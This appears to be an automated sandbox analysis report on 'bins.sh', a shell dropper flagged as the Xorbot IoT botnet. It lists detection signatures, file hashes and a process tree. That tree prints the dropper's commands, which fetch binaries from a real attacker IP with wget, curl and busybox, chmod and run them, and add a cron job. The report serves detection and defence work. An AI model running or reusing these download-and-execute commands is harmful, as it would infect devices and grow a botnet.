Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/12/2024, 15:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5eab5295c0740b5344abb66f19ea0e39

  • SHA1

    7796e56bc014459c40563c509569791a6f05341a

  • SHA256

    b516438a84f4d4febdc19c62bae733ac24bf557205fd8ac1e42d1fb0f83f0d5a

  • SHA512

    6922bb223cb1df386c64584feb519299b4e06ed94d6153a314e01a883ecfa5a608bfb4732e11dff85402cdc406fd1293db7914457c14f8024a54f87754afb4d4

  • SSDEEP

    96:C//63ZCcEgN6L/vLIPnA43WlMf61Nx//63bZCcEgN8Lv7vLIPnlXXWTyYl6f81Na:dCcEg4BaWuf61PcEgVIQz

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1485) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:692
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:696
        • /usr/bin/wget
          wget http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:701
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:722
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:723
        • /bin/chmod
          chmod 777 pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • File and Directory Permissions Modification
          PID:724
        • /tmp/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          ./pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:725
        • /bin/rm
          rm pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          PID:727
        • /usr/bin/wget
          wget http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Writes file to tmp directory
          PID:728
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Writes file to tmp directory
          PID:730
        • /bin/chmod
          chmod 777 VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          ./VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Executes dropped EXE
          PID:733
        • /bin/rm
          rm VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Writes file to tmp directory
            PID:760
          • /bin/chmod
            chmod 777 MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • File and Directory Permissions Modification
            PID:764
          • /tmp/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            ./MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Executes dropped EXE
            PID:765
          • /bin/rm
            rm MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
              PID:768
            • /usr/bin/wget
              wget http://216.126.231.164/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
              • Writes file to tmp directory
              PID:769
            • /usr/bin/curl
              curl -O http://216.126.231.164/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
              • Writes file to tmp directory
              PID:778
            • /bin/busybox
              /bin/busybox wget http://216.126.231.164/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
              • Writes file to tmp directory
              PID:791
            • /bin/chmod
              chmod 777 QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
              • File and Directory Permissions Modification
              PID:793
            • /tmp/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              ./QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
              • Executes dropped EXE
              PID:794
            • /bin/rm
              rm QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
                PID:796
              • /usr/bin/wget
                wget http://216.126.231.164/bins/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                2⤵
                • Writes file to tmp directory
                PID:797
              • /usr/bin/curl
                curl -O http://216.126.231.164/bins/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                2⤵
                • Writes file to tmp directory
                PID:798
              • /bin/busybox
                /bin/busybox wget http://216.126.231.164/bins/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                2⤵
                • Writes file to tmp directory
                PID:799
              • /bin/chmod
                chmod 777 VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                2⤵
                • File and Directory Permissions Modification
                PID:800
              • /tmp/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                ./VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:801
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:803
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:804
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:805
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:806
                    • /bin/rm
                      rm VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                      2⤵
                        PID:808
                      • /usr/bin/wget
                        wget http://216.126.231.164/bins/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                        2⤵
                          PID:895
                        • /usr/bin/curl
                          curl -O http://216.126.231.164/bins/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                          2⤵
                            PID:900

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /var/spool/cron/crontabs/tmp.MtudKv

                          Filesize

                          210B

                          MD5

                          0634b0ee8515b4892da3bb735e384f6a

                          SHA1

                          349761121748cf303f2f08f6b521230214fc9b3e

                          SHA256

                          8992e8a92c2b6c997e098bed6c76d5b96923e0d69607feef57da271939d142d9

                          SHA512

                          c0e70e5e30368c6236046a07c2da06e027d4667e8951e542291564f9e8451e63f06272964271a018c563b555aeb90e584db400e834dd6c7726ba1e2cc727e18d